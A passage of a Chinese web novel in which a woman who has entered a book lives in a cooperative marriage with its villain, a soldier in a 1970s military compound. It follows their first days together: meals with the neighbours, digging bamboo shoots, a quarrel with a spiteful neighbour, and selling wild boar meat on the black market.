进屋后,觅婉婉看着只有一个房间、一张床的情况,有些为难:不会要睡一起吧?
谢宴清拿出几块木板,一边搭一边说:“房间给你,我睡客厅。”
觅婉婉松下一口气,没跟他客气,进入房间把自己的东西放好。不过她跟觅鸿晖几乎是逃难来的,除了几件旧衣服,什么也没带。
如今新到一个地方,想要站稳脚跟,样样都要用钱。觅婉婉是打算结婚后先在这边找个工作的,找工作就需要添置衣服鞋子。
毕竟佛要金装人要金装,找工作时给人的第一印象很重要。
因为铁路局那边让觅鸿晖顶了原身爸爸的岗,所以他们姐弟两的抚恤金是按照一千元的规格来补的。一人一半觅婉婉拿了五百块,加上顾大勋给的三百块彩礼和从大伯那要回来的两百元,现在觅婉婉手上一共有一千元存款。
一千元在这个时代不是一笔小数目,可坐吃山空的话,很快就会花完的。况且,觅婉婉想要买一套自己的房子。
前世觅婉婉跟姥姥姥爷的感情极好,工作后有钱后她依旧第一时间买了房。
再看屋子里,热水瓶、碗筷什么的都准备齐了,倒是不用她再出去买。由此可见,顾大勋几人对谢宴清不是一般的关照。
可谢宴清为什么反而有点仇视顾大勋呢,毕竟从昨天谢宴清做的事情来看,不像是天生的反社会人格。
不过想到书中男女主那奇妙的缘分,杨月苓好好的一个姑娘,想不开非要喜欢顾宁阳这种脑子不正常的。就知道在书里,出现一些bug是再正常不过的了。
想通了之后,觅婉婉就开始琢磨今天中午吃什么。
“我去食堂打点饭菜回来?”恰到正午,谢宴清站在门口说。
“家里有米菜吗?我来做就好了。”前世忙于工作,觅婉婉平常吃快餐,很少自己做饭。
如今有时间有机会,她更愿意吃自己做的饭,而不是食堂。
谢宴清面露难色,“平常我一个人,是不做饭的。”
觅婉婉恍然,“没关系,我们中午吃食堂,下午我去买点米和菜。”
十几分钟后,谢宴清从食堂打了一铝盒馒头,一铝盒菜回来。
馒头是结实的老面馒头,表面是微微的黄色。菜盒中有大半盒的包菜和小半盒的五花肉,卖相不怎么好,难得的是有荤腥。
十年的动乱下来,不说原身家乡闹饥荒,不闹饥荒的其他地方,大多数人家吃饭最多一个月能矮一点荤腥。家中吃饭能摆上这么小半盒肉的,只有过年那一天了。
觅婉婉神态自若地拿起馒头,就着包菜和五花肉吃得很香。五花肉没有放太多的佐料,入口味道就不差,想来是这个年代的养殖业不发达,猪都是用纯天然饲料养的,肉质自有一股香甜的味道。
谢宴清吃饭的时候很斯文,不爱说话,吃相优雅。两个人安静地吃完午饭,谢宴清自然地拿起饭盒去洗。
见此,觅婉婉有些高兴。虽然他们是合作结婚,但觅婉婉也不愿意找个大男子主义的结婚对象。
她知道这个年代的男人很多都是大男子主义的,家务是碰也不碰。觅婉婉的本意是与谢宴清约法三章,两人分配好家务活动,既然谢宴清这么自觉,也就没必要了。
吃饱饭就有些犯困,觅婉婉有睡午觉的习惯,伸了个懒腰正打算进屋里睡觉,就见谢宴清拿着一包东西过来。
“这是我妈让我给你的。”谢宴清递过来一个用手帕包着的小包,话里听不清情绪。
谢宴清结婚,家中一个人都没来。觅婉婉本以为是因为他们的婚姻是合作关系,因此谢宴清没有通知家里。
乍一听到他妈给自己准备了礼物,有点意外,却神色如常地接了过来。
等打开手帕之后,觅婉婉顿时被手帕中的金子闪地眼睛都瞎了。赫然是两个龙凤花纹的大金镯子和一支金钗,掂掂重量,怕是足有一百多克。
“太贵重了,我不能收。”觅婉婉下意识地拒绝,将东西递了回去。
谢宴清不接,“上个月外婆去世,我把所有的钱都寄回了家里。所以,没钱交给你家用,只能给你这个了。下个月开始,我会按月把津贴和粮票布票交给你的。”
“可是......”
“你不是说,我们是一家人吗?既然是一家人,我该进我的责任。我妈和我妹妹都很喜欢你,这是他们送你的礼物。”谢宴清不等觅婉婉说完,有条不紊地跟她分析。
“还是说,”谢宴清低下头,让觅婉婉看不到他眸中的情绪,“你嫌弃我妈出身地主家的成分,不愿意接受她的东西。”
觅婉婉连忙否认:“当然不是,出生又不是自己能决定的。况且......算了,我收下,只是这东西得藏好了,不能被别人看见,不然影响你在部队的前途。”
她本来想说,很快他家的成分问题就不是问题,幸好及时止住了。当务之急,是把这些金子藏好。现在她跟谢宴清是一条船上的,谢宴清出了事,她也不好过。
谢宴清看着觅婉婉在房间四处找地方,忙忙碌碌的样子,情不自禁勾起了唇角。
睡过午觉之后,觅婉婉便去镇上的供销社买了米油盐这些东西,再买了些蔬菜种子。
前世的时候,觅婉婉就要个带院子的房子,院子前边开几块菜地,种上新鲜的蔬菜,想吃的时候就从自家的地里摘。
可惜她生活在一个城市化进程极快的时代,享受了城市的便利,失去了田园的乐趣。
如今谢宴清的宿舍前面就有一块空地,觅婉婉买了铲子锄头什么的,准备这两天把地开了,种上蔬菜瓜果。
买完东西回到宿舍的时候,天已经擦黑了,谢宴清已经从事食堂打了菜回头。
军人结婚部队是放三天假的,谢宴清不拘着觅婉婉出门,只是看到觅婉婉带回来的菜种和锄头什么的时候愣了一下。
“我想把咱们家前面的地整一整,种上瓜果蔬菜。另外,我想种几颗桂花树和玉兰树可以吗?”觅婉婉一边解释一边问。
谢宴清:“你想怎么弄都是可以的,不必问我。”
吃完晚饭后,两人一
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个在房间,一个在客厅,皆是早早睡下了。
晚上十点的时候,家属院准时熄灯。
“啊!”
房里传出觅婉婉的尖叫声,谢宴清一跃而起,走到门口时顿住脚步,敲了三声门,轻声问:“你怎么了?”
“我怕黑,你能帮我买些蜡烛吗?”觅婉婉有些虚弱地说,真是大意,她竟然忘了,部队是准时熄灯,准时吹号角起床的。
谢宴清很快拿来了蜡烛,觅婉婉打开门,接过蜡烛,“你不问我为什么怕黑吗?”
按照她之前的表现,觅婉婉清楚,谢宴清这种聪明人不会认为她是个胆小的、菟丝花一般的女孩。
“我的诸多事情,你不也不问吗?”虽然是问句,谢宴清的话中却不带一丝情绪。
觅婉婉没有再说话,默默地关上了门。她明白谢宴清的意思,他们都是有分寸的人,有些事,该知道的时候自然会知道,是不必问的。
点亮两根蜡烛之后,觅婉婉看着足有手腕粗的红烛有些意外,谢宴清拿来的是两根红烛,点在桌上,真像洞房花烛的样子呢。
结婚的第二天,觅婉婉和谢宴清一起去火车站送觅鸿晖离开。
这个年代的火车慢,觅鸿晖需要坐两天两夜的火车才能到川市的铁路局。谢宴清从食堂打了满满三大盒的馒头和两盒菜递给觅鸿晖,“本想多打一点的,担心路上会坏,这些应该够你路上吃一天了。”
觅鸿晖没想到冷冰冰的谢宴清有这样体贴的一面,总算对姐姐的婚事踏实了些,“谢谢姐夫,祝姐夫平步青云。”
“嗯。”谢宴清颇为冷淡地应了一声,看起来对青云路没什么兴趣。
觅婉婉递给他两大包油纸包起来的桃酥和一袋子苹果,“这些你在路上吃,到了地方之后写信过来报平安。”
觅鸿晖拿出一块红布,“姐,这是我送你的新婚礼物,你拿去做衣服,你穿红色肯定好看。”
觅婉婉笑着收下,“进了铁路局以后好好干,桃酥要收好呀。”
她从原身的记忆中得知,觅鸿晖最喜欢吃桃酥,可这是个金贵的东西,除了每年过年觅父会带一包回家,其余时候根本吃不到。
每当这包桃酥到家,觅鸿晖就会绞尽脑汁地想办法偷桃酥吃。甚至为此去学开锁,只为打开上锁的柜子,拿一块桃酥吃。
为此,觅鸿晖挨了出生以来最严重的打,两只手都被打肿了。
除了桃酥之外,觅婉婉把彩礼中的上海牌手表包进了桃酥,大伯给的两百块也放进去了。
觅婉婉前世父母早亡,没有兄弟姐妹。但来到这里之后,觅鸿晖虽青涩,却是一心护着她的,觅婉婉也愿意尽自己所能给予。
绿色的铁皮火车速度由慢到快,直到再也看不到火车的影子,觅婉婉和谢宴清才往回走。
回到宿舍后,觅婉婉摸着手中的棉布,琢磨着做一件红色衬衫应该是好看的。
等打开棉布之后,觅婉婉却愣住了:棉布的最里面包着整整五百块钱,觅鸿晖把他分得的所有的钱都留给了觅婉婉。
9. 小心
觅婉婉的眼眶有些湿润,很快她又收拾好心情,将五百块钱放好,没有什么比把眼下的日子过好最重要。
“咚咚咚......”
门外传来敲门声,谢宴清先一步去外面开门,觅婉婉出来的时候,就见院子里站着三个大汉。
粗壮如牛、皮肤黝黑的王丘雨咧着一口大白牙对觅婉婉笑:“嫂子好,我叫王丘雨,是宴清的好哥们。”
他旁边站着的军人则看起来斯文许多,文质彬彬地对觅婉婉说:“我是张晓山,就住在你们隔壁,远亲不如近邻,弟妹你有什么事可以寻我家吕花。”
接着谢宴清领着一个眉目间有少许沟壑,表情局促的男子过来,“这是我们的班长赵天瑞。”
赵天瑞搓搓手,声音洪亮:“弟妹好,我是赵天瑞!”
“噗!”王丘雨忍不住笑出来,“老赵,你紧张什么,还怕嫂子吃了你不成。”
赵天瑞瞪了他一眼,挠挠头,很是不好意思地对觅婉婉说:“弟妹见笑了,我是没想到咱们这能有弟妹这样天仙似的人物,你比我们村的村花都好看。”
觅婉婉:“谢谢赵大哥夸奖,几位大哥好,别在院子里站着了,进屋喝口茶吧。”
她把几个人请进屋之后,又拿出准备好的喜糖待客,用散茶泡了一壶茶出来。
觅婉婉昨天见这军属大院的后山上有片竹林,就打算今天上午去看看有没有竹笋,顺便挖点野菜回来中午做饭吃。
于是对张晓山说了想挖竹笋的意思,“不知道嫂子有没有时间跟我一起去呢?”
张晓山立马起身:“有的有的,她每天憋在家里做针线活,正好跟弟妹出去走动走动,我这就去叫她。”
觅婉婉昨天下午采买东西的时候就买了一个竹筐,便背起竹筐,拿着锄头,准备出门。
谢宴清送她出门,临出门的时候问她:“你初来乍到,这么容易相信张家嫂子?”
“你交好的人,我为什么不相信?”觅婉婉反问他。
她理所当然的反问让谢宴清愣了一下,反应过来后谢宴清那双清冷的眸子就那样定定地看着觅婉婉,仿佛要从她的脸上看出什么来。
觅婉婉坦荡地接受他的目光,反正她又不会像原身一样在谢宴清嘴落魄的时候背叛他。
片刻后,谢宴清再次开口:“我的名声不好,人缘也不好,你应当听说了的。”
觅婉婉笑道:“朋友在精不在多,我相信你的眼光。再说,要是我有危险,你会来救我的对不对。怎么说我们现在也是领了证的夫妻关系,你不会见死不救的吧?”
说完后,觅婉婉才想起来,谢宴清可是凶残的大反派,会不会救她还真不好说,赶紧找补一句,“我开玩笑的。”
谁知就看见谢宴清仿佛认真地思索了一下,对她说:“你等一下。”
谢宴清从屋里再出来的时候,手里拿了一个银色的哨子,“这是求生哨,你遇到危险就吹哨子,我听到便会赶来的。”
觅婉婉愣愣地看着在阳光下闪着光的哨子,被谢宴清郑重其事的样子弄得有些不知所措。
见她傻愣愣的,谢宴清帮她把哨子戴在脖子上,同时凑在她耳边悄声说:“我的听力异于常人,你在后山吹哨,我能听到的。”
不知为什么,觅婉婉觉得心里有些乱,她后退几步,勉强笑说:“我知道啦,谢谢你。”
她不敢再看谢宴清的眼睛,几乎是落荒而逃。
吕花穿着深蓝色碎花上衣和灰色裤子,人也朴实寡言。好在觅婉婉是个话多的,一路上时不时地跟她说话,且分寸把握地刚刚好,不让吕花局促。
走着走着,觅婉婉看见前方的山坡上有一大片的鲜嫩的马齿苋,翠绿的叶子,略微鲜红的杆。
“吕嫂子,咱们去采些马齿苋回去包包子吧。”觅婉婉高兴地说,她昨天下午买了一块五花肉,加上新鲜的小韭菜,本来准备包饺子的。
如今有了马齿苋,正好把马齿苋加进馅里,做马齿苋包子。野生野长的马齿苋,自有其鲜美的味道,配合就韭菜调成馅,口感极佳。
“这马齿苋我们家乡叫长寿菜,吃了可以清热解毒、散血消肿,正好我家那小子最近有点上火,采回家正好。”许是见到马齿苋高兴,吕花也说了几句。
两个人各挖了一大把马齿苋,用藤绑好。又见旁边有一簇郁郁葱葱的野葱,觅婉婉和吕花便拿着铲子去挖。
野菜最重要的是吃个鲜子,野葱觅婉婉也没有挖太多,刚好够今天吃的一把就停手了。
“好香啊!”觅婉婉将野葱拿到鼻子前,深吸了一口气道。
吕花:“是啊,这野葱的香气最浓郁,随便清炒都好吃呢。”
受环境影响,渐渐的吕花跟觅婉婉熟悉起来,没有了之前的陌生和局促,话自然而然地多了起来。
进入竹林之后,觅婉婉四处看来看去,也没有看到竹笋,有些泄气,“看来这片竹林没有竹笋。”
吕花却在观察了一番泥土之后,找了个地方,用锄头挖了几下,就挖出一个竹笋。
“咦,这里的竹笋是埋在土里的呀。”觅婉婉好奇地看着吕花挖出来的坑里,赫然是一颗胖胖的竹笋。
“是啊,这片竹林的竹笋都是埋在地里的。正是因为埋在地里,格外地鲜嫩和香甜呢。”吕花解释说,顺便示范又挖了一个地方,“”婉婉,你看到这种泥土微微凸起,表面有气孔的,这就表示下面有竹笋了,可以挖。
觅婉婉凑上前一看,果然又是一颗竹笋,由衷钦佩说:“嫂子,你真厉害,一挖一个准!”
吕花不好意思地低下头,“每年都来挖,自然就有经验了。”
觅婉婉学着她的样子,在挖错几个坑之后,终于成功挖出一颗竹笋,开心地呼叫:“我也挖到啦!笋呀笋,挖到你可真不容易,希望你今天不要让我失望呀。”
她有趣的话语让吕花忍不住笑,“春笋炒腊肉是绝配,你刚过来,想必没有做腊肉,我去年冬天囤了些腊肉,回去切给你一块。”
光是听到这个菜名,觅婉婉就忍不住流口水,“好呀,那我先谢过婶子了。”
这年头家家户户都缺肉,即便是军人有肉票,家中也是省着吃的。觅婉婉自然不会白白拿吕花的腊肉,她打算把昨天买回来的肉割一块去交换。
“呦~吕婶子,你对新来的邻居这么大方呢,不如也给我一块?”
一道不合时宜的声音在身后响起,觅婉婉转身一看,就见一个穿着黑色衣裳,发丝凌乱,五官扁平,唯独一双眼睛溜溜地直转的中年妇女在打量自己。
她的目光让觅婉婉觉得有点不舒服,于是便没有搭理她。
吴翠花打量完觅婉婉之后,目光就转向了吕花,“怪不得呢
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,吕婶子,你是看人小姑娘年纪轻,跟谢宴清两人正相配呢吧。毕竟,大院里人人都知道,你可是比你丈夫大十岁呢。”
她这话一出,吕花瞬间就白了脸色。
觅婉婉蹙起眉头,不高兴地对吴翠花说:“大十岁又怎么样,人家夫妻两个乐意就行了,关你什么事?”
吴翠花神色半点不变:“那是,人家还乐意给吕婶子养两个女儿呢,有什么不乐意的。”
她一而再再而三地言语刻薄,含沙射影,觅婉婉不想忍她,“你要是不挖竹笋,就离我们远一点,不要影响我们。”
“你这丫头,怎么不知道好歹呢。婶子我是好心,我跟你说呀,你可要小心你家那位,他打起人来可吓人了。你这么个如花似玉的小姑娘,皮肤嫩地像水一样,随便打一下都得起淤青吧。”觅婉婉出言不善,吴翠花忍不住就想教训一下她。
“还有吕婶子你,张大哥娶你是为什么你心里清楚,多大的恩情呐,你可要好好珍惜。更要好好做人,比如那腊肉,也给我一块呗。”吴翠花状似苦口婆心地对吕花说。
吕花已经满脸通红,听吴翠花这般说,竟犹豫着想答应。
觅婉婉拉住她,“我看最应该好好做人的是你吧,你丈夫是部队里的哪位呀,知道你在这占战友家属的便宜吗?连一块腊肉都想占人家的,部队没给你家发粮票?要是部队知道你这种作风,怕是会影响你丈夫的前途吧。”
她毫不留情的话终于激怒了吴翠花,她恨恨地跺了几下脚,“我家老周的前途好的很,用不着你个小丫头片子操心。你们今天得罪了我,日后当心一点,哼!”
终于打发走讨厌的人,觅婉婉又兴致勃勃地去挖笋,挖到第六个的时候,觅婉婉隐隐觉得背篓有些重,便停了手,装好竹笋往回走。
竹林在这里,她每日都可以来挖,不急在这一天。
吴翠花来过一趟之后,吕花又回到了来时沉默寡言的样子。直到回到军属大院,吕花叫住觅婉婉:“我去檐下给你割腊肉,你等我一会。”
趁着她去割腊肉的功夫,觅婉婉也回到家中厨房,放下背篓,割了一块新鲜的五花肉拿油纸包好,往吕花家走去。
吕花拿着觅婉婉递过来的腊肉,有种不真实的感觉,犹豫了好一会儿才说:“你以后见着吴翠花,尽量避着她罢,她丈夫是革会的头头周大军,连几位军长都被他斗过,我们惹不起她的。”
觅婉婉恍然,怪不得那么大脾性呢,心知最多半年,这人肯定会被清算。
不过她知道吕花是好意,笑说:“我知道啦婶子,咱们不做亏心事,自是不必理她的。况且,权势并不是那么至高无上的,转眼间,权势变为粪土,谁又知道明日如何呢,咱们且过好自己的日子,顺势而为便是。”
站在门口的谢宴清听到她的话,心中一动。
觅婉婉拿了腊肉,出门看见谢宴清,拉着他往回走,开开心心地跟他说:“我今天在山上采了新鲜的马齿苋做包子,还有野葱,可以用来炒鸡蛋。至于春笋,配上这腊肉味道绝对差不了。”
谢宴清调整步伐,顺从地让觅婉婉拉着往家里走,时不时地嗯一声算作回应。
觅婉婉早就习惯了他的话少,拉着他一边说一边走到厨房。
到了厨房之后,觅婉婉突然想起吴翠花在竹林说的话,问谢宴清:“你不打老婆的吧?”
10. 赚钱
谢宴清古井无波的脸上终于出现了裂缝,“你从哪听来的?”
对于传言这回事,觅婉婉本着听几百句外人传的,不如听当事人一句话。更何况谢宴清是书中的大佬,虽然说是反派,但极有魄力,不至于骗她。
“吴翠花,吕嫂子说她丈夫是革会的头头。”觅婉婉把她们在竹林遇到吴翠花的事情一五一十地说了,包括她怎么把吴翠花挤兑走的事情。
听着听着,谢宴清原本紧皱的眉头渐渐舒展开来。
“不打。”谢宴清的回答言简意赅。
觅婉婉放下心来,“那就好,我们来做午饭吧。”
说完,撸起袖子开始洗马齿苋和野葱,彻底将之前的事情抛之脑后。
谢宴清都打算好应对觅婉婉接下来的话,没想到她听到自己的回答之后,立马放下心来。
仿佛只要自己说不打老婆,就真的不会打老婆一样。
觅婉婉把马齿苋放入锅中焯水的时候,就看见谢宴清熟练地把野葱切碎,接着用刀划开春笋的外皮,三下五除二把里边白嫩的笋肉剥出来。
“你好厉害啊!”觅婉婉由衷地夸道,她要是剥笋,肯定不能剥地这么利落。、
谢宴清手上的刀不停,嫩笋在他的手下变成薄片,“以前我姥爷在世的时候教我的,他喜欢跟我姥姥一起做饭。”
这倒是出乎觅婉婉的意料,她在书中看到过谢宴清的家庭情况。谢宴清的姥爷是以前的地主,在那个年代,家中条件应该是很好的,觅婉婉想象不到家中的男主人会下厨房。
马齿苋和韭菜、猪肉一起加上调料调成馅,光是馅料味就香的让人流口水。马齿苋包子上了蒸笼之后,觅婉婉就打了几个鸡蛋,和野葱一起煎了。
至于春笋,下锅和腊肉一起爆炒,再焖一会儿,出锅就是一道美味。
等到吃的时候,觅婉婉更是满足地眯起了眼睛,“这春笋又嫩又甜,是我吃过最好吃的春笋。”
谢宴清吃饭的时候不爱说话,听到觅婉婉的话,点点头,夹笋片的筷子极快。
“觅婉婉~”
觅婉婉一听这声音就知道是杨月苓,自然地去给她开了门。
杨月苓依旧是大小姐的样子,昂首挺胸进了门,闻到屋里的菜香时,吸了吸鼻子,“你们在吃什么?这么香。”
觅婉婉如今对杨月苓这个书中的恶毒女配的性情摸得七七八八,除了恋爱脑没什么不好的。熟络地拉她进去,添了一副碗筷,“我今天去后山采的一些野菜,随便做的,一起吃吧。”
谢宴清默默地搬来一张凳子,算是应和觅婉婉的话。
山上的野菜?
杨月苓听了本能地嗤之以鼻,却在看到桌上的菜时咽下了嘴里的话。
嫩绿的野葱裹着金黄的鸡蛋,香气直扑而来。冬笋和腊肉色泽油亮,一看就好吃。至于马齿苋的包子,面皮松软,收口的褶子精致,甚至每一个包子都是整齐划一的九道褶子,分毫不差,大小一致。
包子是谢宴清包的,觅婉婉看到谢宴清包的包子之后,就没敢上手自取其辱了。暗自惊叹,不愧是反派大佬,就算是包包子,都比别人强。
终究是口腹之欲战胜了脾气,杨月苓坐下跟觅婉婉夫妻一起大快朵颐。
吃完饭之后,谢宴清去洗碗,两个人就在厅里说话。
“没想到,谢宴清平时对谁都冷冷的,结了婚对你还是可以的嘛。”杨月苓看着男人在厨房忙碌的身影说道。
觅婉婉笑说:“是呀,谢宴清很好。”
想到什么,杨月苓又生起气来,“那个白霜儿,简直是不知羞耻。你知道吗?前几天,她竟然去碰瓷阳哥哥,结果阳哥哥半夜开车送她回家。”
“你说这件事呀,我碰巧也在,顾宁阳也送我回家了。”觅婉婉想起那天的事情,顺嘴说道。
杨月苓没料到觅婉婉也在,忙问了那天晚上的事情。
听完觅婉婉的讲述,杨月苓有些怀疑地说:“难道白霜儿不是故意的?”
觅婉婉:“也许是缘分导致的偶然呢?”
“阳哥哥才不会跟那个土包子有缘分!”杨月苓愤愤道。
“没有,没有。”觅婉婉并不跟她争论,这书里的人有时候逻辑奇怪一些,正常。
她转而说起了其他的事情,“住在我隔壁家的吕嫂子,你了解吗?”
上午吴翠花对吕花一顿嘲笑讽刺的,让觅婉婉有些好奇隔壁的这对夫妻,是不是有什么瓜吃。
“她呀,他们家在我们军属大院是一个异类。”说起吕花,杨月苓的注意力立马被转移。
吕花原本并不是张晓山的妻子,而是张晓山哥哥的妻子。六年前,张晓山的哥哥上战场没回来,留下两个只有六七岁的女儿和老婆。
张晓山的老母受不了白发人送黑发人的刺激,病倒后很快就不行了。
临终前,老太太做主,让张晓山娶了吕花,两个人好好过日子,把两个侄女养大。
张晓山是个高中毕业的文化人,不知怎么的,竟然听从了老母的建议,跟嫂嫂结了婚,抚养两个侄女长大。
婚后,夫妻俩生了个儿子张晓军,今年五岁,两个侄女一个十二一个十三。
“张晓山是个讲义气的。”末了,觅婉婉总结说。
觅婉婉生活的年代,是无法看到这样的结合的。尤其是随着人们文化水平的提高,自我意识觉醒,大家越来越追求个体的幸福,几乎没有人会牺牲自己,做出这样的选择。
可是站在两个女孩的角度来说,没有比这更好的选择。爸爸死了,叔叔跟妈妈结了婚,这个家还在。
所以觅婉婉说,张晓山是个讲义气的。
“嗯,”杨月苓思索了一会儿,“你是第一个说他们讲义气的,大院里的人说什么的都有,要不就是看热闹的,要不就是看笑话的。”
脑子没有转几下,杨月苓就决定不转了,起身对觅婉婉说:“本小姐要出去逛街了,你陪我去吧。”
正好觅婉婉想去镇上转一转,看能不能找到黑市。实在是原身身子亏损的厉害,身体是革命的本钱,不养好身体,任觅婉婉有再好的计划,都无法实施。
想要养好身体,就必须得吃肉。可猪肉现在是凭肉票购买,部队
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每个月发的肉票不足以让觅婉婉经常吃上肉。
昨天食堂打的五花肉,是看在谢宴清结婚的份上,特意关照的,想要每天都有五花肉吃,没门。
既然如此,觅婉婉就得去黑市趟趟水了。
正好杨月苓今天送上门了,觅婉婉就求她带自己去黑市。
杨月苓对黑市自然是熟悉的,加上她今天在觅婉婉这吃的很满意,二话不说就带觅婉婉来到了黑市的猪肉摊。
“十二块一斤。”黑市的猪肉摊老板是个四十多岁的中年人,笑眯眯地对觅婉婉说。
觅婉婉肉痛了一阵,想着革命刚刚开始,身体最重要,割了两斤肉,又买了两只猪蹄,足足花了二十元。
出了黑市,觅婉婉开始计算她手上的钱还够吃几天肉,算完之后,觅婉婉下定决心,赚钱,必须赚钱!
再这么坐吃猪肉,等政策出来后,她光有个人,什么也做不了。
杨月苓对黑市的东西不感兴趣,平常都是闲着无聊才来黑市逛逛,买点小玩意的。她最喜欢的还是去逛商场,于是带着觅婉婉去百货大楼一阵扫荡。
买了十几袋衣服鞋子,顺便送了觅婉婉一条黑色棉布的伞裙。
对于现在还吃不起肉的觅婉婉来说。杨月苓是富婆一样的存在,连连道谢:“谢谢大小姐,感谢大小姐心里惦记着我这个穷人,给我买裙子。”
杨月苓听了皱眉:“你很穷吗?要不要我给你找个工作?你不要多想啊,本小姐只是不想让人看到我的跟班穷酸,这样会让本小姐没面子的。”
觅婉婉眼睛一亮,“要!我保证不丢大小姐的人。”
她上道,杨月苓很满意,“我听我爸说,部队食堂在招帮厨。你的厨艺是经过本小姐认证的,肯定没问题。你考虑一下要不要去,不去的话本小姐再给你找别的。”
此刻,觅婉婉只想摇着作者的肩膀灵魂发问,这哪是什么恶毒女配,这分明是贵人,是天使啊。
“遵命,大小姐,我会好好考虑的,我这就送你回家。”说完,觅婉婉殷勤地送杨月苓回了家。
等觅婉婉回到自己家的时候,谢宴清已经把包子热好,还打了一个西红柿蛋花汤。
吃饭间隙,觅婉婉说出自己想找工作挣钱的想法,“部队食堂的帮厨现在看来是不错,不过,我想再看看有没有发展更好的工作。”
谢宴清:“你很缺钱?”
觅婉婉:“是啊,我每天都要吃肉,黑市的肉可贵了。”
谢宴清没有再说话,两人沉默地吃完一顿晚饭。
吃完晚饭之后,大院便静下来,今天上山消耗的体力多,觅婉婉早早便睡下了,
睡觉之前,觅婉婉拿出两根蜡烛,点在房间里,又盖上玻璃罩,确保它们不会熄灭,安心睡下。
谢宴清在院子里认真地削竹片,晚上十点,大院准时熄灯,谢宴清的竹片也削好了。
他起身来屋子里拿东西,看见房间里明亮的烛光,听到觅婉婉绵长的呼吸,显然是睡了。
驻足片刻后,谢宴清悄无声息地走出院子,朝觅婉婉今天挖竹笋的那座山走去。
11. 工作
第二天早上,觅婉婉正常跟着号角声起床洗漱,洗漱好之后走出院子,原本有点迷糊的觅婉婉就被院子里大喇喇放着的一头野猪给弄清醒了。
“哪来的野猪?”觅婉婉瞪大了眼睛问。
谢宴清刚洗完脸,头发上沾着几粒水珠,微微侧头,露出半边锋利的五官,“你不是说想吃肉吗?”
说完,停顿片刻,转过身来,认真地问觅婉婉:“一头野猪够吃吗?”
......
“够了。”觅婉婉顶着谢宴清的目光,硬着头皮说。
一向脸皮厚的觅婉婉此刻不免觉得羞耻起来,她昨天说的话没什么不对劲啊,怎么就让谢宴清觉得她能吃下一头野猪,甚至连一头猪都不够吃了。
“这头猪你想怎么处理?”谢宴清拿着菜刀,准备分猪。
菜刀在阳光在闪着寒光,这时候,反派大佬的气势就出来了,觅婉婉回过神来,“这头野猪有多重?”
“一百五十斤左右。”
现在的天气,留个十斤左右的肉放几天不会坏,再做一些腊肉腊肠什么的,差不多要三十斤,加上一排肋骨,大约十斤左右。
觅婉婉很快做了决定:“留五十斤,剩下的拿去黑市卖!”
谢宴清二话不说开始解剖野猪,动作熟练,手法利落,三下五除二就把一头野猪分解完毕。
这是不是也太利索了点?
很多杀猪匠都没这么利索吧,觅婉婉直接问出自己的疑惑。
谢宴清手下不停,除了觅婉婉要的那一部分,其余部分用背篓装起来,“没入伍之前,我经常进山打猎。”
原来如此,觅婉婉心中了然,一般反派大佬都是有个悲惨的童年,想来谢宴清也不例外。
痛苦的时光自然是越少回忆起越好,觅婉婉并不追问,想了想,回屋拿一块油布,把背篓包的严严实实,又在最上层盖上杂草。
做完之后,觅婉婉问:“我们去哪卖?”
谢宴清背起背篓,“黑市卖猪肉的我认识,就去他那卖。”
昨天杨月苓送了她一条棉的黑色伞裙,觅婉婉想了一下,拿觅鸿晖送她的红色棉布做一件衬衫,刚好可以搭配黑色伞裙。
于是觅婉婉回屋拿了布,跟谢宴清一起朝黑市走去。
两个人并肩走在路上,谢宴清俊美,觅婉婉娇俏,惹得院里的家属们时不时地看他们。
觅婉婉见有人打量自己,就朝他们点点头,露出一个灿烂的笑容。
有些爽朗的婆婆婶子们也会跟他们打招呼,“出去啊?”
“去镇上买些东西呢。”觅婉婉礼貌地回答。
谢宴清走路向来是目不斜视的,唯有今天另外,因为觅婉婉,有些家属会顺便跟谢宴清打个招呼。
他不适应这种热情,但看觅婉婉笑得灿烂,谢宴清本能地不想打破这种气氛,有人跟他打招呼了,他就沉默地点点头,表示回应。
“呦,这人结了婚就是不一样。谢宴清原先多高傲冷漠的人呀,现在会朝我们点头了。”家属院中的某个人得了谢宴清的回应,稀罕得不行,悄悄跟邻居家的人说。
邻居压低了声音说:“我瞧着谢宴清这个媳妇阳光大气,跟谢宴清般配的很。”
即将走出家属大院的时候,迎面走来一个提着篮子的妇人,穿着朴素的碎花衬衫,面相温柔地看着觅婉婉他们。
“石婶子。”谢宴清难得停下脚步,恭敬地叫了一声。
觅婉婉跟着他叫:“石婶子。”
石小玲远远地就看见他们两了,一个脸上挂着笑,另一个脸上虽然没什么表情,石小玲却一眼看出谢宴清心情愉悦。
“是婉婉吧,有空就来家里坐坐,吃个饭。你初来乍到,有什么不熟悉的就来问我。”石小玲轻声对觅婉婉说,像是生怕吓着她。
觅婉婉看看谢宴清,又看看石小玲,只略想了一下,问道:“石婶子,我想用棉布做件衬衫,您知道镇上哪家裁缝铺子的手艺好吗?”
石小玲看她不见外,更高兴了,“镇东边西六巷的林记裁缝铺的林裁缝手艺最好,你去那家做,不会让你失望的。”
“谢谢石婶子了。”觅婉婉道谢后几人便分开走。
石小玲很快回到家,钱文光这些年一直在养病,正躺在椅子上晒太阳。
她把今天撞见谢宴清和觅婉婉的事情和钱文光仔仔细细地说了,“我看婉婉这孩子很不错,咱们可以放心了。”
钱文光也笑:“是不错,谢宴清这人跟他爸一样,眼光毒得很,他看中的媳妇,比咱找的好。”
说罢,一跃从椅子上起来,箭一般地冲进屋里。
石小玲吓得脸色一变,紧张地环顾四周,见没人看见,松下一口气。
“老钱,你真是的,不注意点,被人看见怎么办?”进了屋,石小玲忍不住抱怨道。
钱文光找出一个铁盒子,不在意地说:“我们几个老家伙听到风声,那些个乱搞的人,马上就会被清算了。”
石小玲:“真的?消息准确吗?”
“自然准确,不过上面可能还需要准备一段时间。我这病一装就是八年,该起来了。正好隔壁小月子国忘恩负义,拿着我们接济的钱粮,竟然敢打劫我们边境的农民,老子要叫他们好看!”钱文才义愤填膺地说。
摩挲着手中的铁皮盒子,钱文才得声音又弱下来,“转眼宴清都成家了,我在想,是不是可以告诉他这件事。”
石小玲一听,立马夺过铁皮盒子,“不行,这事你跟大勋他们几个商量过没有?我觉得还不到时候,现在局势未稳。况且,人家小两口刚结婚,你就送这么个大炸弹过去,存心不让人好好过日子?”
钱文才被石小玲问得哑口无言,只好又把铁皮盒子放了回去。好在,他们都不需要再等太久。
另一边,觅婉婉和谢宴清来到镇上的一处平房里,没想收猪肉的就是昨天觅婉婉买猪肉的摊主。
“原来是弟妹,昨儿我不知道,以后弟妹来买猪肉,我都按成本价卖。”摊主祝毅一眼就认出了觅婉婉,懊恼地说。
